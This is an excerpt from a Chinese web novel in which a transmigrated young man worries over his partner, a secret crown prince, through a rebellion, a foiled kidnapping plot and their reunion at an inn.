更别说这种消失带来的不祥暗示让他更加不舒服。
只是眉头皱了下,萧靖昭又重新抚平了眉宇,他不想让姜淮被自己的心情影响。
“快回去吧。”姜淮说着对萧靖昭挥了挥手,让他早点回去休息,已经很晚了,明天还要早起呢,而且现在夜风又凉,在外面站一会就算了,再多站一会,哪怕萧靖昭身体好也不能这样糟蹋。
萧靖昭并不愿离开,他还想再看看姜淮,只是看到姜淮披着的披风,以及微微泛白的指尖,点点头离开,同时也冲着姜淮挥手,让他快些回床上休息。
姜淮往床的方向走了几步,下意识回头看了一眼,想看看萧靖昭走了没,一回头却对上了萧靖昭同样转身回看的眼睛。
屋外极暗,只有一旁的提灯映出了些光照亮了对方的身影,似乎是看到姜淮回头,萧靖昭脸上的笑容越发大了些。
姜淮不自觉跟着笑了起来,冲着萧靖昭使劲挥手,催促他赶紧回去。
萧靖昭点头,才再次转身离开,高大的身影在夜色中竟然也透着点点喜色。
看着萧靖昭彻底离开,姜淮躺回被窝,不过耽误了这么一会,睡意已经消减了不少,似乎都有点睡不着了。
姜淮忽然想到萧靖昭刚才变脸的一瞬,要说那时候发生了什么,似乎就是窗户上的笑脸被风吹散了。
姜淮顿了顿,起身去了一旁的小书房,和大书房相比,这里的摆设就比较简陋,没有什么书,但是笔墨纸砚倒是都放着。
窗户上的笑脸姜淮没有办法长期保存下来,但是他有替代品。
只不过毛笔画出来的笔触和手指的笔触不一样,试着用毛笔画了两个笑脸,姜淮犹豫了下,用手指蘸着墨汁画出一个大大的笑脸,本来该画下一个了,可想到萧靖昭,姜淮停下手。
等明天萧靖昭来画吧。
将画着笑脸的画放好,姜淮用布巾擦了擦手指,大部分墨渍被擦掉了,只是还有一点残留的指缝里,想要洗掉大概得用香皂,可这就得喊下人来送水送香皂。
姜淮也不想太折腾了,就这么一点墨渍,再说,他要是再洗个手,现在酝酿出的这点睡意就要彻底没了。
捂嘴打了个哈欠,指尖还残留着点墨香,姜淮这下彻底不折腾了,老实躺回床上,沉沉睡去。
一。夜好梦,从梦中醒来,睁眼时姜淮还有些恍惚,直到门外传来熟悉的脚步声。
“醒了?”萧靖昭看到姜淮起了,唇角带笑。
姜淮也跟着笑了起来,只不过看到萧靖昭身边的人,笑容顿时垮了。
不是,早上过来看人,还要带个大夫吗?
“杜大夫,你看看吧。”萧靖昭吩咐道。
杜大夫一早被萧靖昭带来,虽然不知道发生了什么,但是知道自己过来是做什么的,马上对着姜淮伸出手把脉。
“就昨天晚上起来了一点,哪里会着凉?”姜淮无奈地说道,觉得萧靖昭这么做有点大惊小怪,只是话刚说完,就控制不住地打了个喷嚏。
而杜大夫的面色似乎也有些变化。
“是不是着凉了?”萧靖昭脸色也跟着变了起来,探手摸上姜淮的额头,只是刚碰了一下,萧靖昭又迅速的收回了手,他刚才在外面走了好一阵,手被吹的发凉,若姜淮真的着凉了,再碰一下,岂不是更凉了。
萧靖昭下意识又摸了摸身上,被风一吹,身上衣物也有些寒凉。
萧靖昭迅速往后退了几步,避免他身上的寒意浸染姜淮,要不是顾忌杜大夫在给姜淮把脉,真是恨不得将杜大夫也拉开点距离。
“确实有些着凉,好在公子身体调理得不错,这寒意也没有太重,喝几剂药便能驱散寒意了。”杜大夫收回把脉的手,对姜淮道。
“几剂药是几剂啊?”姜淮想到药汁的味道,脸色有了一瞬的扭曲,而且杜大夫这个说法让他有点不安心,这个几到底是指多少。
“不能喝姜汤吗?”姜淮绞尽脑汁的想可能改善自己处境的药,才想起姜汤这个驱寒的东西,期待的看向杜大夫。
虽然姜汤也难喝,但是和苦药汁比起来,姜汤的味道就显得和善许多,也更好入口了。
“若是刚刚受寒,姜汤倒是也能驱寒,只是这寒意入体,只喝姜汤作用就不如汤药。”杜大夫知道姜淮的心思,耐心解释道,“这汤药也只需要吃三剂便好。”
若是在宫中,杜大夫开的方子剂量会大一些,可姜淮对药的讨厌太明显了,他也不会开多了。
姜淮提着的心彻底死了,摸了摸额头,倒是没有发热,可要是不管,谁知道会不会发热,真发热,身体更吃不消了,喝的药也绝对不止三剂。
“我现在就要喝吗?”姜淮问道。
见杜大夫点点头,姜淮深吸口气:“杜大夫,麻烦你抓药了,尽量给我选那种喝起来不太难喝的方子啊!”
普通的大夫面对这个要求自然没有办法,毕竟他们掌握的方子也就那些,不过杜大夫的医术了得,稍微改良下药汁的味道还是可以做到,只不过想要达到姜淮想要的好喝还是很难。
目送杜大夫离开,姜淮立刻就去翻他的零食柜,考虑到如今做的零食保质期都不长,姜淮其实准备的也不多,但大部分都是一些糖果,经常用来搭配着药汁一起吃。
毕竟汤药味道在口中残留的滋味并不好受,哪怕喝水,也很难完全冲刷掉那股药味,吃几颗糖就好多了。
找到了糖,姜淮眼角余光瞥见沉默站在一旁的萧靖昭,注意到他的不对劲。
放下糖罐,姜淮凑近萧靖昭,才看到他眼底的愧疚,显然萧靖昭觉得是昨晚他打扰了姜淮休息,才让姜淮着凉。
姜淮没有宽慰什么,而是一把拽住了萧靖昭的手,拉着他往一旁的书房走去。
“来,快画一个笑脸。”姜淮指着自己昨天画好的笑脸道。
萧靖昭一眼就看到了白纸上的墨迹,那是昨晚他看到的笑脸,不过这次并不是落在窗户上,而是落在白纸上。
“窗户上留不长久,还是这纸上留得久,这是我昨日画的,该你画了。”姜淮解释了一句,催促道。
“我怀疑着凉就是起来画这个导致的,要是不画完,我岂不是亏了。”姜淮嘟囔道。
萧靖昭顿了顿,盯着纸上的笔触看了看,又瞥了眼一旁的姜淮,指尖的墨痕浅淡,可在白皙的手指上又格外扎眼。
萧靖昭蘸了蘸墨水,在纸上画出昨晚的笑脸。
姜淮又拿出一张纸,示意他再画。
“只画一张感觉还是有点亏,多画点,多留点纪念。”姜淮说道。
“好。”萧靖昭应声,认真地画了起来。
60-70
第61章 第 61 章
时间一天天地过去, 气温越来越高,身上的裘服也换成了轻薄的纱衣。
姜淮这些天并不怎么能看到萧靖昭,至于原因, 姜淮也了解到了点,似乎京都那边有了变故,这变故甚至影响到了安远府, 萧靖昭也就更忙了。
姜淮算了算时间, 距离原文中说过的起兵造反似乎也不远了。
虽然按理说不是这个时候,但是姜淮能感受到那种紧张的气氛, 尽管其他人都尽量不在他面前表现, 可光看看账册, 都能看出其中的变化。
造反这件事姜淮一直记着, 也知道造反到底代表了什么, 可直到这一刻,姜淮才意识到, 造反并不是他想象中那么轻松, 尽管原文中这一切发生得都很快,也很顺利, 可当真到了这一步,姜淮也不自觉紧张起来, 因为他重视的人也会参与这一场战争。
太子登基的结果,姜淮觉得不会有什么变化,可萧靖昭的安危呢?
原文没有记录过魏西这个名字,可能是因为原身在路上病逝, 以至于魏西没有抵达安远府, 自然也就不会留下来,也可能是对方留下来了, 也立下战功,但是在造反时丧命。
姜淮觉得如果是后者,萧靖昭孤身一人,没有他,可能和卫轩的关系就是单纯的上下级关系,之后自然也没有什么人想起他,自然也就不会在原文中留下姓名。
这两个猜测,每种都有可能,这让姜淮无比的焦虑,有时都恨不得让萧靖昭不要参与这件事了,对方的战功已经很多。
可每次这个想法涌上心头,姜淮的理智就告诉他,不可能。
如果萧靖昭这次退缩,以后在军中就彻底抬不起头来,也几乎没有前途可言,就算卫轩如今和萧靖昭关系不错,可在这种紧要关头退缩,那会是一辈子的污点。
尽管心中焦虑不安,可面对萧靖昭偶然一次回来,姜淮还是将他心中的焦躁压下,一切照常,只是多出了一个习惯,喜欢紧紧攥住萧靖昭的手,多一些肢体接触。
萧靖昭就算一开始还不明白姜淮为什么这么黏他,可多黏几次,也能体会到姜淮的心情。
姜淮是在担心。
萧靖昭说不出安慰的话,尽管他有自信,这一路不会有多少危险,可战场瞬息万变,意外的事谁也说不准,而且张口保证也只能安慰一时,除非事情结束,不然姜淮只能一直这样的担心。
可看到姜淮这样的担心,萧靖昭也不想让他太担心,绞尽脑汁地想着他身边有多少保护,之前做了多少准备,除非出现什么大意外,不然他不可能出事。
为了让姜淮能相信他的安全,萧靖昭也顾不得这么说会不会暴露他的情况,毕竟一个武将身边有这么多保护是过于奇怪。
不过姜淮这次也是被紧张冲昏了头脑,听到萧靖昭的解释只感觉对方的安危有了些保障,除非是运气差到了极点,不然不至于出事,而且就算出事,也不至于丢命,顶多就是受伤。
……
等到出兵清君侧的消息传到姜府,姜淮的心情异常的平静,毕竟等这天,他都等了很久,现在只需要等结果了。
只是这种平静维持了几天,就很快维持不下去了,因着出兵的事,姜家的生意也受到了一点影响,但是影响并不大。
因为商队贩卖销售的大宗货物对普通百姓来说都可以算是奢侈品,普通百姓很少会买,买的都是各地的富贵之家,尽管这几年在皇帝的折腾下,百姓苦了不少,可这些人家受到的影响却不是很大,该大肆花钱还是大肆花钱。
哪怕此时起了战事,一时间也没有什么太多的影响。
各种杂乱的消息源源不断地传来,有说战事极其顺利,势如破竹,也有说战事艰难。
几年的时间虽然让定安卫壮大,可京都屯兵也不算少,更何况各地州府也有士兵,哪怕这人数算不得多,可也是些阻碍。
姜淮都不知道这些消息哪些是真,哪些是假,消息纷扰,而从萧靖昭传回来的信来看,战事似乎很是顺利。
只是到底是真顺利,还是萧靖昭不想让他担心,就不得而知了。
好在,姜淮还有另一个消息渠道,这几年组建的商队足迹遍布天下,虽然了解不到异常具体的消息,可一些表面的消息还在源源不断地往回传。
姜淮对于战事的了解不多,但是他清楚,如果战事处于僵持阶段,周围的商业会有什么表现,看到传回的各种消息,姜淮分析完,松了口气。
或许战事不算特别的轻松,但也不是他想象的那么紧张。
战事顺利,唯一让人忧虑的就是萧靖昭了。
“公子要是担忧,不如去拜拜佛,这城外有一座寺庙还算灵验。”杜大夫给姜淮日常把脉,发现姜淮心中的焦虑,知道这样下去对姜淮的身体不好,建议道。
去佛寺拜一拜这个建议姜淮还是头一次听到,虽然不一定有用,但是自己都穿越了,去拜一拜应该……
姜淮有了一瞬的心动,但是很快,姜淮又想到一桩事,他这可是穿书,虽然说穿书的世界待了几年,姜淮觉得和正常世界也没有什么区别,可那是之前没什么事,现在可是紧要关头,万一会出意外呢?
姜淮随便一想,就能想到一些可能出现的意外,比如去寺庙拜佛被劫。
不只是因为穿书而这么猜想,还因为萧靖昭离开前将姜府护成了铁桶,并且让他出门时尽量带足人手。
虽然萧靖昭没有明说,可姜淮能从这些话里听出他可能遇到危险,以往定安卫护着安远府,自然是安宁一片,可现在大军开拔,安远府内的军队少了,万一有异动,救援的速度可绝对没有往日快。
姜淮可不希望萧靖昭在前方拼杀,他在后面出事,然后影响前线。
尽管这种可能性不高,可万一呢,小心驶得万年船。
“算了,还是不出去。”姜淮摇摇头,拒绝了杜大夫的提议,“我还是喝点安神的药吧。”
放平时,姜淮是绝对不会喝药的,但是他现在的焦虑确实影响到了健康,萧靖昭若是知道了这件事,肯定会受到影响。
至于说瞒着……
姜淮瞥了眼门外的守卫,这是前段时间刚调过来的,姜淮知道,除了用来保护他,大概也是要将他的近况传给萧靖昭,他的情况根本就瞒不住。
也就是这次,姜淮发现萧靖昭的掌控欲异常浓,只不过以往之所以没有表现出来,不过是因为他只靠自己,就可以知道姜淮是什么情况,可现在离开的时间太长了,萧靖昭没有办法,只能靠手下的人来得到姜淮的消息。
这种掌控欲姜淮不算太排斥,毕竟这些亲卫虽然会传递他的消息,但是这些消息也是他愿意传递出去才能传递,当然,身体状况除外。
杜大夫没想到姜淮居然情愿喝药了,思忖片刻,建议道:“是药三分毒,公子若是想用别的办法安神,可以练字作画,都能舒缓心绪。”
练字画画?
姜淮虽然也不是很感兴趣,但是比起喝药来,那还是这些更能让他接受,主要是姜淮觉得自己这种焦虑状态,在萧靖昭彻底安全下来前都会持续,这要是天天喝安神的汤药,光想想就觉得没有什么劲头了。
刚好趁着这段时间练练字。
姜淮点点头,刚准备叫杜大夫下去,忽然想到一件事,开口问:“杜大夫,你是从哪听说这寺庙灵验的?”
姜淮记得以往杜大夫好像不爱烧香拜佛的,怎么会突然提这么一嘴,姜淮本来也不想这么敏.感,只是现在是紧要关头,一点不对劲都要打起十二分的注意来。
杜大夫愣了一下,很快反应过来,意识到了什么,赶紧解释起来,杜大夫是意外听一个外院的小厮说起这事,因为灵验,甚至有好几个下人也跟着去拜了拜,听说确实灵验了,这才让杜大夫印象深刻。
尽管这个灵验可能只是巧合,可后来又听说一些担忧军中将士情况的人也去这佛寺拜拜,把脉了解到姜淮的情况后,杜大夫才提出这个建议。
虽然听着都是巧合,但是姜淮还是吩咐下去,让人多调查一下,不要冤枉人,但是也不能太大咧咧的忽略危险。
很快,消息就调查出来了,其他下人倒是没有什么问题,可最开始说寺庙如何灵验的小厮情况就不太对了,对方身上藏着一些银子,而这银子数目显然不是他能攒下来的。
姜淮没说话,直接将人送到了府衙,卫轩离开了,孟原就暂时在府衙处理政务,收到姜淮送来的人后,经过几天的调查,发现了小厮身后的人。
尽管对方很谨慎,可也没有想到这个棋子才动一步,就被姜淮发现了蛛丝马迹,加上他们一直在盯着姜府,这才这么容易被抓住了。
而他们这么做的原因也很简单,就是想抓住姜淮威胁萧靖昭。
第62章 第 62 章
“抓我……威胁魏西?”姜淮听完孟原说的理由, 半天才反应过来,对这些人的想法有些无语。
姜淮也不是看低自己在萧靖昭心中的地位,可就算自己被抓了, 可等消息传过去,再等这些人将目的传到萧靖昭耳中,其中必然需要一段时间。
如果这些人是想让萧靖昭暗中做什么, 可这时候他被抓的消息, 其他人,譬如卫轩肯定知道了, 卫轩应该也能看出他们之间的感情, 那萧靖昭就算真的被他们逼着想做什么, 有卫轩在, 也做不了什么。
可以说, 这事要真让他们做成了,那也就是姜淮倒霉, 最差的情况下, 姜淮可能会送命。
想到这点,姜淮有些庆幸, 还好他发现了不对劲之后没有忽略,不然按照这些人的行动, 一计不成又成一计,敌暗我明,就算不被他们绑走,他还真可能被这些人伤到。
“还好及时发现, 不然后果不堪设想。”孟原也是长出口气。
“?”姜淮虽然自信, 但是不自恋,他被抓是会有一番动荡, 但是也没有孟原说得这么厉害吧。
“这些人布了这个局,可不是为了抓公子一人。”孟原解释道,原来那个灵验的寺庙之所以会有这个名声出现,就是这些人在暗地里动手脚。
预备着等一些人被说动了,然后出城去拜佛求平安的时候,将这些人抓住。
“这些人?”姜淮犹豫。
孟原报出几个名字,有跟着出兵的武将妻儿,母亲,基本都是家里的老弱,最是容易被这些说法影响,这要是被抓了,就算是那些武将都不受胁迫,可也会留下隐患。
孟原虽然没有妻儿被说动,可出了这么一桩大案,他难辞其咎,毕竟要不是他不注意,怎么会出这个事,以后也基本没有什么前途可言了,毕竟这些女眷一旦被抓走,一旦不起作用后,会是什么下场可想而知。
姜淮抽气,他没想到这事居然藏了这么多,姜淮回忆了下原文,原文倒是没有说这些,姜淮也不知道发没发生过,可看孟原懊恼的态度,姜淮怀疑原文中可能发生过这种事。
“藏在暗处的人都抓住了吗?”姜淮有些担心,本来以为抓了这么多人,应该没有什么问题,可意识到这些人的危险性,姜淮就忍不住多想了,“会不会有漏网之鱼?”
“调查的时间还短,有没有漏网之鱼不好说。”孟原摇头,虽然他们顺藤摸瓜抓了一堆人,可审讯的时间还短,也可能有些人藏在暗处没有联系过他们,自然也不可能被牵出来。
“不如,你到府衙或者军营暂住一段时间,等危险过去再离开。”孟原想来想去,要说安全的话,府衙或者军营,这两处算是安远府最安全的地方了。
姜淮摇了摇头,孟原觉得这两处地方安全是因为他对府衙和军营都很是熟悉,可他又算不得多熟,万一身边有人行动不对劲,他还看不出来,这次之所以能察觉出不对劲,也是因为杜大夫的话有点突兀。
这要是在府衙或者军营,有人过来说谁谁找他,或者去哪里见人,他可能就反应不过来了。
而以萧靖昭留下的护卫数目,除非来的是一支精锐小队,不然不可能潜入姜府,更别说绑走姜淮了。
所以姜淮想来想去,还是觉得待在姜府最安全。
孟原本来想劝一下姜淮的,可也被姜淮的话给说服了,因为府衙和军营虽然护卫众多,可要保护的人也多,姜淮在其中,哪怕是最重要的那个,可一旦生乱,也有可能被人忽视了。
可在姜府,所有人的注意力都会放在姜淮身上,而且因为姜府人少,就算被有心人弄出什么乱子来,也影响不到姜淮。
“那我再多派些人在姜家附近巡逻。”孟原也给加了一重保障,姜家的护卫已经够多了,再加新人进去,一来相处可能不太和谐,反而容易惹出事端,二来就是孟原担心自己挑的人有问题。
而派人在姜家附近巡逻,可以避免暗处的人成群结队出现在姜家附近,而人数少了,就算他们还能在姜家附近,可姜家的护卫又不是吃素的。
面对这个保护,姜淮没有拒绝。
很快,孟原就安排好了巡逻的人,只是姜淮这边的事让孟原长叹一声,虽然不愿意用这件事去打扰前线,可孟原清楚,他不说,就算姜淮也想瞒着,可这事终归是会暴露的。
甚至如果现在不说,万一藏在后面的人还想用这事兴风作浪呢。
一封信让孟原写了快一个时辰,才勉强完成。
很快,萧靖昭就收到了孟原传来的信,原本因为一路进展顺利而舒展的眉眼瞬间冻结,卫轩一进帐,就感受到气氛不对劲。
“安远府那边是传来什么消息了吗?”卫轩低声问。
“有些人想要动些不入流的手段。”萧靖昭眼神冰冷,尽管信上还没有调查出幕后人是谁,可萧靖昭太清楚了,能做出这种事的人除了皇帝,还能有谁。
“他还是和之前一样,正面无法击溃敌人,就想从暗处使手段。”
卫轩赶紧拿起信看了一眼,看到有人想要绑走姜淮威胁萧靖昭,甚至是要绑走其他武将的女眷,直接倒抽一口凉气,好在后面,孟原很快就将现在的情况说清楚了,卫轩才松了口气,庆幸姜淮提前发现了这个问题。
不然,要是军中武将的女眷被人抓走,都不用这些人说,卫轩都能知道是用来威胁武将的。
尽管对大局可能影响不大,可这些武将心中当真不会有怨气,这点怨气若是不能消解开,等萧靖昭登基就埋下了隐患。
还好,如今这事算是解决了大半,这些人之所以能行动的如此顺利,也是因为一直在暗中,没人发现他们的行动,一旦到了光明处,就掀不起什么风浪了。
不过想到萧靖昭说的话,卫轩抬头,萧靖昭就这么确定是皇帝的行动吗?
虽然卫轩知道能这么做的人大概就是皇帝,可这手段……
“陛下……他会如此没有心机?”卫轩不太明白。
这个手段是很无耻,但是要说作用有多大,那也算不上,皇帝有精力做这个,为何不在安远府做点别的事呢。
“他知道那点人做不了什么,目的就是恶心我们。”萧靖昭垂眸,以皇帝的心思,就算真让这些人行动,也不会觉得靠杀掉一些女眷能起什么作用,可他还是安排人这么做了,就是想着哪怕自己不能得利,可也要让他们难受。
只是再多的冷静,在看到皇帝试图将姜淮的存在抹去时,萧靖昭也有些冷静不下来了。
“之前我们想的,还要再改一改。”萧靖昭看向卫轩。
“……”卫轩听懂了萧靖昭的意思,沉默了一瞬,可想到皇帝做的事,还是点点头。
本来对于皇帝,为了不让这场造反说出去太难听,或者说为了稳固天下,对皇帝的处理还是稍显温和一些,尽管只是一些很表面的功夫。
可现在,这种表面的温和也不想保留了。
只不过这样一来,萧靖昭的名声怕是……
卫轩想到自己先前还在为姜淮的身后名担忧,可现在看来,萧靖昭的身后名才是真完蛋了。
“踏上这条路,还有什么身后名可说吗?”萧靖昭出声,眼眸淡漠,卫轩才意识到自己将心底的担忧说了出来。
“已经不需要考虑这个了。”萧靖昭说着,看卫轩情绪有些低落,想了想道,“只要之后将大周治理好,海内承平,就算青史如何书写,也无法抹去这些功绩。”
这是萧靖昭和姜淮闲聊时听到的,姜淮对于过往君王的态度非常简单,谁把国家治理得好,姜淮就认为这是个好君王,不管他是如何上位的,可一个君王若是文治武功,没一样能行,就算史书将这位君王描述的如何好,可姜淮依旧轻视对方,这种透彻的态度也影响到了萧靖昭。
虽然在逃出京都时,萧靖昭知道自己要报复回去,对于未来也有些认知,可说到底,他从小学的君臣父子,对他还是有一定的压制的,可和姜淮在一起久了,姜淮对于造反的态度有些过于冷静,也让萧靖昭渐渐明了造反意味着什么,让他将心中对于造反的一点心理包袱彻底抛下。
不像是他想象中的如何沉重可怕,可也不是轻飘飘的报复。
至于说还有没有人揪着这点黑他,萧靖昭已经不考虑了,做得再好的君王,随着时间推移,也少不了被人说嘴。
卫轩感觉自己有点被说服了,最主要的是,如果萧靖昭不在意的话,那皇帝确实不需要太善待了,尽管为了大局,卫轩可以忍一忍,可想到卫家如今的情况,想到被皇帝害死的卫铮,卫轩还是希望皇帝能感受一下他之前的痛苦。
很快,皇帝派人做的事就在军中传开了,武将听到消息后先是后怕,再接着就是愤怒了,原本还有些不安,可现在,只想让皇帝为此付出代价。
第63章 第 63 章
待在府上的日子过得很快, 哪怕只是待在姜府没有出门,可姜淮也感觉到形势的变化。
一开始,安远府还是处在焦躁紧张的气氛下, 可随着前线的好消息越来越多,安远府的气氛也越来越淡然起来,甚至一些迟迟没有来的客商都重新回来了。
他们之前没来是怕被牵连, 毕竟安远府的生意好做是好做, 可不少生意官府都有参与,如今起兵, 谁知道会不会受影响, 他们只是家中有些钱财, 可不敢掺和进这样的大事, 可现在眼看着事情尘埃落定, 而卫家所在的一方会是获胜方,自然也就敢来了, 哪怕不是想要从龙之功, 可也想要锦上添花一番。
甚至不少人都后悔,之前没有和安远府这边紧密合作, 不然如今说不得就能顺势帮点忙,这等太子登基, 他们也能有些好处。
太子的存在终于没有再隐瞒下去了,得知这个消息,不管是哪方人马,都是震惊万分, 或者说, 表面都要演一演震惊。
在不了解内情的人看来,太子的出现有些奇妙, 仿佛是话本里的故事一般,不少人私下议论纷纷。
姜淮听了一些议论,发现大众的脑洞真的很大,虽然有些猜测得比较离谱,怀疑太子是有冤屈,然后死而复生,再如何如何,可去掉一些玄幻色彩,居然将皇帝和太子的事猜了个七七八八的。
不过他们不了解真相,哪怕猜测到了真相,也只是将这个猜测视作寻常,并没有再多想。
时间一天天地过去,定安卫入京的消息前脚传来,太子入驻皇宫的消息后脚也跟着传来,顺便跟着来的还有一封信,萧靖昭已经将府邸备好了,就等着姜淮过去验收。
……
“距京都还有多远?”姜淮躺在马车上歇息,脸色有些苍白。
他实在是没有想到,当年流放的时候,一路从京都走到安远府,哪怕路上辛苦,可还是挣扎着到了,结果现在从安远府回京,坐着马车反而难受的吃不消,不得不让马车的行进速度慢下来,时不时的还要在客栈歇息。
其实马车和之前相比,已经改进过震动的问题,只是姜淮的身体对这种摇摇晃晃的前行方式有些吃不消。
可要是骑马,这么远的距离,骑马也颠簸无比,甚至会磨破大.腿,毕竟姜淮以前从来没有骑马走过这么远。
以前,姜淮还想着到时候四处走走,游山玩水,可现在走了这么一路,姜淮已经彻底躺平,不打算四处玩了。
古代的交通方式,出行手段,对他来说都有些吃不消。
“还有六十里。”车夫回道。
“六十?”姜淮探头看了眼天,如今天色还算早,如果赶一赶路,或许可以在关城门前抵达京都,可是想到赶车时马车的颠簸,姜淮忍住想吐的欲.望,又重新倒了回去,抱着枕头捂住脑袋。
“赶慢些,今日还是找个客栈歇息吧。”
姜淮一声吩咐下去,整个车队的速度又慢了些许,徐徐前行。
宫内,萧靖昭飞快地处理着奏折,如今他除了一个登基大典还没有举行,身份已经和皇帝无异了。
既然是皇帝了,那这些政务自然就要他来处理。
由于老皇帝将朝堂弄的一团乱,导致萧靖昭一接手,就差点被繁琐的政务给砸晕,每日只能睡两个时辰,就得开始处理政务,不然都根本忙不过来。
好在这些天,萧靖昭将一些文官武将提拔上来,将一些官员撤掉,才算是将朝堂的大致框架给构建起来了,让他可以多休息一会。
“淮儿是不是要到京都了?”萧靖昭批阅完一批奏折,出声问道。
“公子已经抵达了万石镇,歇息一晚,明日抵达京都。”暗处有人回道。
“万石镇?”萧靖昭对京都附近的城镇都了解,一听就知道这万石镇在哪里,距京都不过三十里,而如今……
萧靖昭瞥了眼窗外,日头虽然已经微微偏斜,可要是加快点速度,姜淮应该能抵达京都,而今不愿意,萧靖昭想到先前传回来的消息,有些忧心。
虽然传回来的消息中,姜淮只是有些不适应马车,所以走得慢了些,可今天这个路程,显然太慢了些。
萧靖昭看了看桌案上的奏折,已经不多了,若是处理完这些,他或许能去看看姜淮。
毕竟三十里的路程,若是坐马车慢慢前进,看着可能远点,但是骑马的话,一个时辰绰绰有余了。
一旦产生了这个念头,萧靖昭就有点克制不住自己,他已经很长时间没有和姜淮见面了,况且等姜淮抵达京都后,他的身份就再也没有办法瞒着姜淮了,萧靖昭也不知道姜淮会如何看待这件事。
只不过要出京去,这件事还是要和卫轩说一声。
卫轩被喊过来的时候还不明所以,而听完萧靖昭的话,彻底地蒙了。
不过这熟悉的懵逼感倒是让卫轩感觉到一丝说不出来的安心,抵达京都后,尤其是处理完先帝的事,卫轩就能感觉到萧靖昭似乎处于一种很微妙的状态中,随着萧靖昭不断处理朝政,对方似乎在逐渐变成一个称职的皇帝。
这对于臣子来说是个安心的转变,可对于卫轩来说,这种变化让他有些不太能适应。
如果萧靖昭之前也是这样的,卫轩不会有什么不适应,可偏偏萧靖昭因为姜淮的存在,在安远府时,卫轩看到的都是他更偏人性化的一面,再在京都看到萧靖昭的变化时,就有些不太能接受,会感知到其中的区别。
而现在,姜淮的消息又再次让萧靖昭的转化逆转过来,这让卫轩心中下意识松了口气。
只是萧靖昭的想法又着实让卫轩头痛起来,虽说如今京都已经清扫干净,萧靖昭已经彻底掌控住了京都,可萧靖昭在皇宫的安全有保障,不代表对方去万石镇也能保障安危。
万一有什么漏网之鱼呢?
只是拒绝的话刚到嘴边,卫轩看着萧靖昭的神情,又将这话咽了回去,默默思忖一番,将后续事务都接了过来。
萧靖昭当然也在意自己的安危,他太清楚现在有多少人想要他的命,只不过,他太想去看看姜淮,顺势,也可以钓钓鱼。
……
姜淮安详的躺在床上,明明都已经从马车上下来,但整个人还像是在晃动的小船上,摇摇晃晃的,晕头晕脑。
姜淮没忍不住干呕了几声,眼泪都要出来了。
“再也不坐这么久的马车了。”姜淮两眼发直,他低估了马车的威力,最开始可能是因为身体还能支撑,坐马车哪怕难受,在客栈休息一晚也就好了,可现在,哪怕休息,第二天也恢复不了精力,现在的身体状态是越来越差。
唯一让姜淮庆幸的是,他马上就要到京都,不出意外,只要他不主动离开,大概这辈子都不用出京都了。
姜淮晕晕乎乎的躺着,没有发现客栈一下子安静了许多,只听到门外的脚步声,推门而进的声音,随着脚步声越走越近,姜淮以为是随行的小厮过来喊他用饭,毕竟他一到客栈就躺下了,迷迷糊糊睁开眼睛,就看到一张俊美又熟悉的脸。
姜淮眨了眨眼睛,已经自己因为晕车出现了幻觉,然而睁眼闭眼,再睁眼闭眼,眼前的脸依旧没有出现任何变化,甚至还因为凑近,能听到对方轻浅的呼吸,看清对方颤动的睫毛。
姜淮下意识伸手捏了下来人的脸,入手有点滑,还有点暖和。
好像不是幻觉……
“过来让我抱一下。”姜淮眨了眨眼睛,他不想问萧靖昭是怎么知道他到了万石镇,又是怎么找过来的,只想和对方多亲近一番。
萧靖昭愣了一瞬,然后飞快地陪着姜淮躺了下来。
姜淮紧紧抱住萧靖昭,闻到对方身上带着丝丝的香味,姜淮对香味不了解,但是这种有些浓郁沉重的香气倒是不太符合他的喜好。
好在,这香气只是在外袍上,而萧靖昭的身上倒是没有这个香气。
姜淮巴拉开外袍,将脸埋了进去,萧靖昭被他这一系列举动惊的一动也不敢动。
“放松,绷着不累吗?”姜淮感觉到身下的肌肉是紧绷着的,嘟囔着安抚道。
萧靖昭努力的放松下来,感觉心口暖呼呼的,静静的等了一会,就发现姜淮似乎是又睡着了。
萧靖昭定定地看着姜淮,和他印象中比,姜淮又瘦了一些,不知道是不是因为赶路。
哪怕人睡着了,对于不喜欢的香味,姜淮还是有些厌恶,将脑袋越埋越紧,萧靖昭的外袍都快被他给扒了下来。
萧靖昭就算开始不明白,可看着姜淮梦里的动作,也反应过来了,闻闻外袍上熏染的香气,萧靖昭皱了皱眉,以往在宫中忙于政务,他都忘了这事,姜淮喜欢的是浅淡的清香,而这沉郁的香气姜淮不喜欢,甚至说会晕香。
虽然姜淮压着他,萧靖昭不好脱衣服,但是想将衣服弄走,也不只有脱掉一个办法。
萧靖昭让人拿来剪刀,直接将身上的衣服剪开再扯掉。
第64章 第 64 章
排斥的香气彻底消失, 姜淮将萧靖昭抱的更紧了些,这种结实的触碰萧靖昭很久没有感受到了。
萧靖昭反手揽住姜淮,轻轻地给姜淮按了会头, 看着姜淮微微皱着的眉头舒展开,唇角不自觉翘起。
萧靖昭本来只想看着姜淮,等着姜淮醒来, 可躺在床榻上, 困倦之意涌了上来,这些天他睡的时间太短了, 在宫里, 萧靖昭完全不能安心地休息, 并不是他没有掌控住皇宫, 只是发自心底的不安。
而在姜淮身边, 对周身的不安得到了安抚,萧靖昭闭上眼, 沉沉睡去。
只是就算在睡觉, 萧靖昭依旧紧紧抱住了姜淮。
再次从睡梦中醒来,姜淮感觉头晕昏沉的疲倦感也消退了大半, 身边有什么东西紧紧束缚着他,姜淮脑子还不太清醒, 下意识蹭了蹭,伸手摸了下,入手温热又结实,还有点弹性。
姜淮睁开眼, 看到自己的手到底在摸什么, 脸瞬间通红,闪电般收回了手。
睡得熟并不影响萧靖昭的警惕, 在姜淮清醒的时候,萧靖昭就已经醒了,只是他不太想睁眼,只想再多抱一会姜淮。
而这一装,当姜淮摸到他胸口上,萧靖昭忽地想起少年时意外见过的春宫图,浑身的肌肉都不自觉紧绷起来。
姜淮心怦怦直跳,小心地瞥了眼萧靖昭,眼睛紧闭,似乎还在睡梦中,他刚才的动作似乎没有惊醒萧靖昭。
姜淮猛地松口气,这要是被萧靖昭发现,可太尴尬了,尽管两人已经有点互通心意,可终究是没有戳破那层窗户纸。
半躺着缓了一会,发现萧靖昭还在睡觉,一直没有醒来,姜淮探头,仔细地看向萧靖昭。
和先前比,萧靖昭似乎是累了不少,眼底都带着青黑,显然是没有好好休息,怪不得现在都没有醒。
姜淮记得萧靖昭以往很警敏,有点风吹草动就会从睡梦中惊醒,他刚才那样都没让萧靖昭醒,也不知道这段时间做了多少事。
萧靖昭感觉姜淮的目光像是有温度的似的,在他的眉眼间停留,再顺着鼻梁往下滑,落到唇上,再落到脖子上,最后落在胸口。
